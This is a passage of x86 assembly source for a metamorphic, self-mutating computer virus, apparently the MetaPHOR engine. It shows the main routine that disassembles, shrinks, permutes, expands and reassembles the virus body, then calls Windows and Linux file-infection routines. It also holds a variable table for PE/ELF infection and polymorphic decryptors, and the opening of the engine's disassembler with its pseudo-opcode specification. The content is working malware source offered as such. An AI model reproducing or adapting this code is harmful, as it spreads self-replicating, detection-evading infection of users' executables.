mov eax, [esi]
or eax, eax ; 0?
jz @@GarbleSect_CodeSection ; Then set CODE_SECTION address
cmp eax, 1 ; 1?
jz @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
cmp eax, 2
jz @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
cmp eax, 3
jz @@GarbleSect_DataSection ; 3: DATA_SECTION
cmp eax, 4
jnz @@GarbleSect_Next ; 4: DISASM2_SECTION
@@GarbleSect_Disasm2Section:
mov [ebp+New_DISASM2_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_CodeSection:
mov [ebp+New_CODE_SECTION], edx
add edx, 80000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DisasmSection:
mov [ebp+New_DISASM_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_BuffersSection:
mov [ebp+New_BUFFERS_SECTION], edx
add edx, 60000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DataSection:
mov [ebp+New_DATA_SECTION], edx
add edx, 20000h ; Add size of section to adder
@@GarbleSect_Next:
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_03
;; Now we can start with the selfmutation
;; Disassembler:
;;
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
;; that is easier to handle. This pseudoassembler will be used along the
;; mutation instead of the direct machine code.
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the address of
mov [ebp+InstructionTable], eax ; the instruction table
mov eax, [ebp+_LABEL_SECTION]
add eax, ebp ; Address of the label
mov [ebp+LabelTable], eax ; table
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary table for the
mov [ebp+FutureLabelTable], eax ; storadge of labels
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Temporary buffer to mark
mov [ebp+PathMarksTable], eax ; the path of the code
mov esi, [ebp+_CODE_SECTION]
add esi, ebp ; ESI = Start of code
call DisasmCode ; Disassemble the code
nop ; NOP for debugging: Place for the debugger to put the
; INT 3. It will be eliminated by the disassembler,
; since all the one-byte instructions such CLC, INT 3,
; etc. are NOPed
; It returns EDI = Address of last instruction
mov [ebp+AddressOfLastInstruction], edi ; Set last instr.
;; Shrinker
;;
;; It compresses all the redundancies and obfuscations that the expander did
;; in previous generations.
call ShrinkCode ; Compress the code
;; Variable identificator:
;;
;; It scans the code to get instructions that use memory addresses and then
;; it converts them to a reference to a table of variables. After this, we
;; reselect the addresses of the variables.
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Set the address to the
mov [ebp+VariableTable], eax ; table of variables
mov eax, [ebp+_VAR_MARKS_SECTION]
add eax, ebp ; Set the buffer that marks
mov [ebp+VarMarksTable], eax ; the variables positions
; to know if a given address
; is already in the table
; or it's a free address
mov ecx, [ebp+DeltaRegister] ; The delta register is used
; to know what is an internal
; variable and what's not
call IdentifyVariables ; Identfy them and construct the
; table of variables
;; Code permutator
;;
;; It shuffles the code and insert jumps between to link the moved blocks,
;; updating also all the labels to point to the new location.
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary buffer to construct
mov [ebp+FramesTable], eax ; the permutation frames
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Place where we store
mov [ebp+PermutationResult], eax ; the permutated code
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Buffer to store jumps to fix
mov [ebp+JumpsTable], eax ; while permutating
call PermutateCode
; Permutate the code (in pseudoassembler)
; Returns [AddressOfLastInstruction] updated to point to the
; last instruction + 10h in [PermutationResult] address
mov eax, [ebp+PermutationResult]
mov [ebp+InstructionTable], eax ; Set the new instr. table
;; Code expander
;;
;; It generates alternatives for every instruction coded in our pseudo-ASM.
;; It's generated in a way that we only have to code every instruction
;; directly to have a very different look of the previous program, but keeping
;; the functionality unchanged. It also translates all registers into new
;; ones (except ESP, of course).
xor eax, eax ; Tell the expander that
mov [ebp+CreatingADecryptor], eax ; we are mutating the
; virus body
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the destiny address of the
mov [ebp+ExpansionResult], eax ; expansion/obfuscation
xor eax, eax ; Set the recursivity
mov [ebp+SizeOfExpansion], eax ; to 3 (from 0 to 3)
call XpandCode ; Redo all instructions
; Returns [AddressOfLastInstruction] updated
;; Code assembler
;;
;; It assembles the code previously obfuscated and expanded by the expander
mov eax, [ebp+ExpansionResult]
mov [ebp+InstructionTable], eax ; _DISASM_SECTION
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Set the address where
mov [ebp+NewAssembledCode], eax ; the reassembling result
; will be stored
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Use this address for
mov [ebp+NewLabelTable], eax ; temporary storadge
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Another buffer for
mov [ebp+JumpRelocationTable], eax ; temporary storadge
call AssembleCode ; Convert the code to x86
;; Here we have:
;; [NewAssembledCode] = _DISASM2_SECTION = New code
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
;; DISASM2_SECTION.
;; Now let's make the action that gives this program the attribute of a
;; computer virus: INFECT
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Code the decryptor
mov [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
add eax, 80000h
mov [ebp+AssembledDecryptor], eax ; Assemble it here
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Temporary buffer for the
mov [ebp+FindFileData], eax ; FindFile functions
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Buffer for several
mov [ebp+OtherBuffers], eax ; actions
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@Win32_Infect
call Linux_InfectFiles
jmp @@FinishExecution
@@Win32_Infect:
call InfectFiles ; Infect!
@@FinishExecution:
mov eax, '!'
call DebugOutput
@@Error:
ret ; Return to the host and finish
Main endp
;; Function to get the address of the module passed in ASCII. It will convert
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.
APICall_GetModuleHandle proc
mov eax, [ebp+FlagAorW] ; Get A or W
or eax, eax ; A?
jz @@UseGMHA ; Then, use the string as is
mov ebx, edx
add ebx, 20h ; Go to the end of the string buffer (W)
mov ebx, edx
add ecx, 10h ; Go to the end of the string buffer (A)
@@LoopConvertToWideChar:
mov eax, [ecx] ; Get a letter
and eax, 0FFh ; Make it zero-extended (in words)
mov [ebx], eax ; Store it
sub ecx, 1 ; Decrease the ASCII address in 1
sub ebx, 2 ; Decrease the UNICODE address in 2
cmp ecx, edx ; Are we at the end of the buffer
jnz @@LoopConvertToWideChar ; If not, loop again
@@UseGMHA: push edx ; Store parameter
call dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
mov [ebp+ReturnValue], eax ; Store the module handle
ret
APICall_GetModuleHandle endp
; EDI = Handle of module
; EDX = Buffer where we have the function name
GetFunction proc
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, edx ; We do this to avoid many continuous PUSHes
push eax ; Store function name and module handle
mov eax, edi
push eax
call dword ptr [ebp+RVA_GetProcAddress] ; Call API
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; Get the function address
ret
GetFunction endp
;; KEYWORD: Key_!VarDeclr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;************************************************************************;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Memory addresses. The variables are internal offsets into the data section,
;; so they are coded in this way. As you can see, all them are EQUs.
;;
;; There are also some equates to make easier the programming, although all
;; the values here are only valid on first generation, due to the fact that
;; they'll recalculated and randomized.
;;
__CODE_SECTION EQU 000000h
__DISASM_SECTION EQU 100000h
__BUFFERS_SECTION EQU 080000h
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
__DATA_SECTION EQU 0E0000h
__DISASM2_SECTION EQU 200000h
NumberOfLabels EQU __DATA_SECTION + 0000h
NumberOfInstructions EQU __DATA_SECTION + 0008h
InstructionTable EQU __DATA_SECTION + 0010h
LabelTable EQU __DATA_SECTION + 0018h
FutureLabelTable EQU __DATA_SECTION + 0020h
PathMarksTable EQU __DATA_SECTION + 0028h
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
VariableTable EQU __DATA_SECTION + 0040h
NumberOfVariables EQU __DATA_SECTION + 0048h
FramesTable EQU __DATA_SECTION + 0050h
PermutationResult EQU __DATA_SECTION + 0058h
JumpsTable EQU __DATA_SECTION + 0060h
AddressOfLastFrame EQU __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
MODValue EQU __DATA_SECTION + 0078h
NumberOfJumps EQU __DATA_SECTION + 0080h
RndSeed1 EQU __DATA_SECTION + 0088h
RndSeed2 EQU __DATA_SECTION + 0090h
ExpansionResult EQU __DATA_SECTION + 0098h
Register8Bits EQU __DATA_SECTION + 00A0h
Xp_Register0 EQU __DATA_SECTION + 00A8h
Xp_Register1 EQU __DATA_SECTION + 00B0h
Xp_Register2 EQU __DATA_SECTION + 00B8h
Xp_Register3 EQU __DATA_SECTION + 00C0h
Xp_Register4 EQU __DATA_SECTION + 00C8h
Xp_Register5 EQU __DATA_SECTION + 00D0h
Xp_Register6 EQU __DATA_SECTION + 00D8h
Xp_Register7 EQU __DATA_SECTION + 00E0h
DeltaRegister EQU __DATA_SECTION + 00E8h
Xp_8Bits EQU __DATA_SECTION + 00F0h
Xp_Operation EQU __DATA_SECTION + 00F8h
Xp_Register EQU __DATA_SECTION + 0100h
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
Xp_Immediate EQU __DATA_SECTION + 0120h
Xp_SrcRegister EQU __DATA_SECTION + 0128h
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
VarMarksTable EQU __DATA_SECTION + 0148h
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
_CODE_SECTION EQU __DATA_SECTION + 0158h
_DISASM_SECTION EQU __DATA_SECTION + 0160h
_LABEL_SECTION EQU __DATA_SECTION + 0168h
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
_DATA_SECTION EQU __DATA_SECTION + 0190h
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
FlagAorW EQU __DATA_SECTION + 01F8h
ReturnValue EQU __DATA_SECTION + 0200h
hKernel EQU __DATA_SECTION + 0208h
hUser32 EQU __DATA_SECTION + 0210h
RVA_CreateFileA EQU __DATA_SECTION + 0218h
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
RVA_GetFileSize EQU __DATA_SECTION + 0238h
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
RVA_SetFileTime EQU __DATA_SECTION + 0258h
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
RVA_FindClose EQU __DATA_SECTION + 0278h
RVA_CloseHandle EQU __DATA_SECTION + 0280h
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
NewLabelTable EQU __DATA_SECTION + 0290h
Asm_ByteToSort EQU __DATA_SECTION + 0298h
JumpRelocationTable EQU __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
hFile EQU __DATA_SECTION + 02C0h
FileSize EQU __DATA_SECTION + 02C8h
OriginalFileSize EQU __DATA_SECTION + 02D0h
hMapping EQU __DATA_SECTION + 02D8h
MappingAddress EQU __DATA_SECTION + 02E0h
HeaderAddress EQU __DATA_SECTION + 02E8h
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
RelocHeader EQU __DATA_SECTION + 02F8h
TextHeader EQU __DATA_SECTION + 0300h
DataHeader EQU __DATA_SECTION + 0308h
RVA_TextHole EQU __DATA_SECTION + 0310h
Phys_TextHole EQU __DATA_SECTION + 0318h
TextHoleSize EQU __DATA_SECTION + 0320h
RVA_DataHole EQU __DATA_SECTION + 0328h
Phys_DataHole EQU __DATA_SECTION + 0330h
MakingFirstHole EQU __DATA_SECTION + 0338h
ExitProcessAddress EQU __DATA_SECTION + 0340h
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
GetProcAddressAddress EQU __DATA_SECTION + 0350h
VirtualAllocAddress EQU __DATA_SECTION + 0358h
GetModuleHandleMode EQU __DATA_SECTION + 0360h
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
Kernel32Imports EQU __DATA_SECTION + 0378h
hFindFile EQU __DATA_SECTION + 0380h
Addr_FilePath EQU __DATA_SECTION + 0388h
FileAttributes EQU __DATA_SECTION + 0390h
SizeOfNewCode EQU __DATA_SECTION + 0398h
FindFileData EQU __DATA_SECTION + 03A0h
OtherBuffers EQU __DATA_SECTION + 03A8h
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
NewAssembledCode EQU __DATA_SECTION + 03B8h
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
LastHeader EQU __DATA_SECTION + 03C8h
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
CreatingADecryptor EQU __DATA_SECTION + 03D8h
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
AssembledDecryptor EQU __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
SizeOfExpansion EQU __DATA_SECTION + 03F8h
SizeOfDecryptor EQU __DATA_SECTION + 0400h
TypeOfEncryption EQU __DATA_SECTION + 0408h
EncryptionKey EQU __DATA_SECTION + 0410h
IndexValue EQU __DATA_SECTION + 0418h
IndexRegister EQU __DATA_SECTION + 0420h
BufferRegister EQU __DATA_SECTION + 0428h
CounterRegister EQU __DATA_SECTION + 0430h
BufferValue EQU __DATA_SECTION + 0438h
CounterValue EQU __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
AdditionToBuffer EQU __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register EQU __DATA_SECTION + 0470h
Poly_LoopLabel EQU __DATA_SECTION + 0478h
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
RVA_GetTickCount EQU __DATA_SECTION + 0488h
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
Poly_InitialValue EQU __DATA_SECTION + 04B8h
Poly_Addition EQU __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
DirectoryDeepness EQU __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
Weight_X000_3 EQU __DATA_SECTION + 04E8h
Weight_X004_7 EQU __DATA_SECTION + 04F0h
Weight_X008_11 EQU __DATA_SECTION + 04F8h
Weight_X012_15 EQU __DATA_SECTION + 0500h
Weight_X016_19 EQU __DATA_SECTION + 0508h
Weight_X020_23 EQU __DATA_SECTION + 0510h
TrueFirstHole EQU __DATA_SECTION + 0518h
LoadLibraryAddress EQU __DATA_SECTION + 0520h
LoadLibraryMode EQU __DATA_SECTION + 0528h
JMP_ExitProcessAddress EQU __DATA_SECTION + 0530h
JMP_GetModuleHandleAddress EQU __DATA_SECTION + 0538h
JMP_GetProcAddressAddress EQU __DATA_SECTION + 0540h
JMP_VirtualAllocAddress EQU __DATA_SECTION + 0548h
EPO_AbsoluteOrRelative EQU __DATA_SECTION + 0550h
Poly_EmulateStackFrame EQU __DATA_SECTION + 0558h
Poly_BranchLevel EQU __DATA_SECTION + 0560h
Poly_MaxBranchLevel EQU __DATA_SECTION + 0568h
Poly_Jump_ErrorLabel EQU __DATA_SECTION + 0570h
Poly_NumberOfLoopJumps EQU __DATA_SECTION + 0578h
Poly_NumberOfBranchLabels EQU __DATA_SECTION + 0580h
Poly_BranchLabelArray EQU __DATA_SECTION + 0588h
Poly_LoopJumps EQU __DATA_SECTION + 0590h
Weight_X024_27 EQU __DATA_SECTION + 0598h
Res_StringWithName EQU __DATA_SECTION + 05A0h
Res_LevelOfResource EQU __DATA_SECTION + 05B0h
Res_Level1Info EQU __DATA_SECTION + 05B8h
Res_Level2Info EQU __DATA_SECTION + 05C0h
OperatingSystem EQU __DATA_SECTION + 05C8h
InfectOnlyPEs EQU __DATA_SECTION + 05D0h
ReturnAddress EQU __DATA_SECTION + 05D8h
ELF_Segment1 EQU __DATA_SECTION + 05E0h
ELF_Segment2 EQU __DATA_SECTION + 05E8h
LastAllocableSection EQU __DATA_SECTION + 05F0h
NumberOfAllocableSection EQU __DATA_SECTION + 05F8h
shstrtab_section EQU __DATA_SECTION + 0600h
SizeOfNewHole EQU __DATA_SECTION + 0608h
LengthOfSectionName EQU __DATA_SECTION + 0610h
OverVar_AddNameSize EQU __DATA_SECTION + 0618h
AddressOf_exit_Function EQU __DATA_SECTION + 0620h
AddressOf_malloc_Function EQU __DATA_SECTION + 0628h
dynsym_section EQU __DATA_SECTION + 0630h
dynstr_section EQU __DATA_SECTION + 0638h
PointInScanBuffer EQU __DATA_SECTION + 0640h
SambaFileSystem EQU __DATA_SECTION + 0648h
Linux_SecondsCount EQU __DATA_SECTION + 0650h
;;
;;
;; End of variables
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Disassembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The disassembler
;; ----------------
;;
;; The disassembler is the module that converts the machine code into our
;; pseudo-assembler in the addresses we gave it.
;;
;; The codification of every instruction of the generated pseudo-assembler
;; is as follows (extracted from the article I wrote about metamorphism and
;; this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; The MetaPHOR internal pseudo-assembler follows the next rules:
;;
;; a) All the instructions are 16-bytes long (but this can change in the
;; future to handle 64-bits processors, like the Itanium).
;;
;; b) The structure of the instruction is always the same for all them:
;;
;; General structure:
;;
;; 16 bytes per instruction,
;;
;; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;; OP *----- instruction data ----* LM *-pointer-*
;;
;; OP is the opcode of the instruction. Depending on the opcode we use
;; an instruction data structure or other.
;;
;; LM is "Label Mark". Its value is 1 when a label is pointing to this
;; instruction, and can be used for quite things, for example to know
;; if two instructions can be shrinked or not (they can't if the second
;; one has a label over it). It's at +0B in the instruction.
;;
;; The dword at +0C is a pointer that means "last code reference". On
;; disassembly this means the EIP where this instruction is pointing to
;; its original codification, but while we are advancing in the code
;; treatment we store here references to the last situation of the
;; instruction. This helps to make modifications to the table of labels,
;; to recode the displacement instructions (JMP, CALL, etc.) and more.
;;
;;
;; Now the structures that the engine uses in the instructions:
;;
;; Memory_address_struct:
;; +01: First index
;; +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
;; 10=*4,11=*8)
;; +03: DWORD addition to indexes
;;
;;
;;
;; Depending on the opcode (the operation to perform), the following
;; means:
;;
;; - If operation has no operand (NOP, RET, etc). nothing in the instr.
;; data is performed
;;
;; - If operation has one operand:
;;
;; Register operand:
;; +01: Register
;;
;; Memory address:
;; +01: Memory address struct
;;
;; Immediate value:
;; +07: DWORD value, zero extended if it's a byte operation
;;
;; Destiny address (JMP, CALL, etc.)
;; +01: Label to jump to (DWORD)
;;
;; - If operation has two operands:
;;
;; Reg,Imm:
;; +01: Register
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;; Reg,Reg:
;; +01: Source register
;; +07: Destiny register
;;
;; Reg,Mem:
;; +01: Memory address struct
;; +07: Destiny register
;;
;; Mem,Reg:
;; +01: Memory address struct
;; +07: Source register
;;
;; Mem,Imm:
;; +01: Memory address struct
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;
;; From this rules, now we use the next pseudo-opcodes:
;;
;; 00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
;;
;; Set rules: +00: Reg,Imm
;; +01: Reg,Reg
;; +02: Reg,Mem
;; +03: Mem,Reg
;; +04: Mem,Imm
;; +80: 8 bits operation
;;
;; So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
;;
;; 50: PUSH Reg
;; 51: PUSH Mem
;; 58: POP Reg
;; 59: POP Mem
;; 68: PUSH Imm
;; 70-7F: Conditional jumps
;; E0: NOT Reg
;; E1: NOT Mem
;; E2: NOT Reg8
;; E3: NOT Mem8
;; E4: NEG Reg
;; E5: NEG Mem
;; E6: NEG Reg8
;; E7: NEG Mem8
;; E8: CALL label
;; E9: JMP label
;; EA: CALL Mem (used for API calls)
;; EB: JMP Mem (used for obfuscation in API calls)
;; EC: CALL Reg (obfuscation of API calls)
;; ED: JMP Reg (idem)
;;
;; F0: SHIFT Reg,Imm
;; F1: SHIFT Mem,Imm
;; F2: SHIFT Reg8,Imm
;; F3: SHIFT Mem8,Imm
;; For all SHIFTs:
;; +07: Byte with the value of rotation/shifting
;; +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
;; F4: APICALL_BEGIN
;; Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
;; the recoding of these registers, always remaining the same.
;; F5: APICALL_END
;; The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
;; F6: APICALL_STORE
;; +01: Memory address struct
;; This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
;; F7: SET_WEIGHT
;; +01: Memory address struct
;; +07: Weight item identificator
;; +08: Register 1
;; +09: Register 2
;; F8: MOVZX Reg,byte ptr [Mem]
;; Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
;; F9: MOVZX Reg,word ptr [Mem]
;; FA: LINUX_GETPARAMS
;; Special operation meaning POP EDX/POP ECX/POP EBX/POP EAX
;; FB: Merge of INT 80h + APICALL_STORE
;; FC: LEA
;; FD: INT 80h (for Linux syscalls), used only on disassembly
;; FE: RET
;; FF: NOP
;; ---------------------------------------------------------------------------
;;
;; The decodification, as you will see, it's not arbitrary, I mean, there
;; is a reason for every format of decodification in every instruction.
;; Although many times the format is in that way due to thinking on simplicity,
;; other times I changed the format to make code reduction easier.
;; ESI = Start of code to dissasemble
DisasmCode proc
xor eax, eax
mov [ebp+NumberOfLabels], eax ; Initialize the number of
mov [ebp+NumberOfLabelsPost], eax ; labels and the number
; of buffered labels
mov ecx, 80000h/4 ; Initialize the path marks
mov edi, [ebp+PathMarksTable]
xor eax, eax
@@LoopInitializePathTable:
mov [edi], eax ; Fill all the buffers with 0
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializePathTable
mov edi, [ebp+InstructionTable]
;; Let's disassemble the given code address (ESI) into the buffer where we
;;construct the whole code in pseudoassembler (EDI)
@@LoopTrace:
@@CheckCurrentLabel:
mov eax, esi ; Check if the current code is already
sub eax, [ebp+_CODE_SECTION] ; disassembled
sub eax, ebp
add eax, [ebp+PathMarksTable]
mov eax, [eax] ; If the mark in the path is != 0,
and eax, 0FFh ; then it's already disassembled.
cmp eax, 1
jnz @@CheckIfFutureLabelArrived
;; If it's already disassembled, it's because the current code is inside
;; a loop, or is referenced by a label that we disassembled before. So, we
;; find the referenced code and we insert a JMP to there, and after that we
;; get a new EIP from the list of "future labels".
mov edx, [ebp+InstructionTable] ; Get the first instruction
@@CheckCurrEIP_001:
mov eax, [edx+0Ch] ; Search the pointer at all the
cmp eax, esi ; disassembled instructions. When we
jz @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
add edx, 10h ; instruction.
jmp @@CheckCurrEIP_001
@@ItsTheCurrentEIP:
mov [edi+0Ch], esi ; Set the new pointer.
mov eax, [edi+0Bh] ; Get the label mark.
and eax, 0FFFFFF00h ; Clear it.
mov [edi+0Bh], eax
mov eax, 0E9h ; Set the JMP to the already
mov [edi], eax ; disassembled code
mov eax, esi
mov ebx, edx ; Insert the label
call InsertLabel
mov [edi+1], edx
add edi, 10h ; Increment the EIP
; Now get a new EIP to disassemble.
mov ecx, [ebp+NumberOfLabelsPost] ; Get the number of
or ecx, ecx ; labels. If it's 0, we haven't more branches
jz @@FinDeTraduccion ; to disassemble, so we finish and
; return.
mov ebx, [ebp+FutureLabelTable] ; Get the table address
@@LoopCheckOtherFutureLabel: ; Look for a not disassembled label
mov eax, [ebx]
cmp eax, esi
jz @@OtherFutureLabelFound
@@LoopSearchOtherFutureLabel:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel
; Now we have a new EIP in ESI
mov ecx, [ebp+NumberOfLabelsPost]
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckOtherFutureLabel2:
mov eax, [ebx] ; Check the other labels at the table.
or eax, eax ; If we found one already disassembled,
jz @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
sub eax, ebp ; list and insert the new label in the
sub eax, [ebp+_CODE_SECTION] ; table of definitive
add eax, [ebp+PathMarksTable] ; labels.
mov eax, [eax]
and eax, 0FFh
cmp eax, 1
jz @@ReleaseLabelsInThatAddress
@@LoopSearchOtherFutureLabel2:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel2
jmp @@GetEIPFromFutureLabelList
@@ReleaseLabelsInThatAddress:
push ebx ; Release the label. This means store
push ecx ; the labels already disassembled in the
mov esi, [ebx] ; definitive label table, and all that.
call ReleaseFutureLabels ; It checks the current EIP in ESI.
pop ecx
pop ebx
jmp @@LoopSearchOtherFutureLabel2
@@OtherFutureLabelFound:
mov eax, [ebx+4] ; Set the label at the JUMP or
mov [eax+1], edx ; displacement instruction
xor eax, eax
mov [ebx], eax ; Eliminate the label from the future
jmp @@LoopSearchOtherFutureLabel ; label list
@@CheckIfFutureLabelArrived:
mov eax, [edi+0Bh] ; Clear the label mark...
and eax, 0FFFFFF00h
mov [edi+0Bh], eax
call ReleaseFutureLabels ; ...and release the temporary
; labels
@@SigueInstr:
mov [edi+0Ch], esi ; Set the current EIP at the pointer
mov ebx, esi ; field.
sub ebx, [ebp+_CODE_SECTION]
sub ebx, ebp
add ebx, [ebp+PathMarksTable]
mov eax, [ebx]
or eax, 1
mov [ebx], eax ; Mark address as already decoded
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 3Fh ; OP Reg,Reg, Mem,Reg or Reg,Mem?
jbe @@GenericOpcode
cmp eax, 47h ; INC Reg?
jbe @@Op_INC
cmp eax, 4Fh ; DEC Reg?
jbe @@Op_DEC
cmp eax, 5Fh ; PUSH Reg/POP Reg?
jbe @@Op_PUSHPOP
cmp eax, 68h ; PUSH Imm?
jz @@Op_PUSHValue
cmp eax, 6Ah ; PUSH sign-extended Imm?
jz @@Op_PUSHSignedValue
cmp eax, 70h ; Short conditional jump?
jb @@SigueInstr_00
cmp eax, 7Fh
jbe @@Jcc
@@SigueInstr_00:
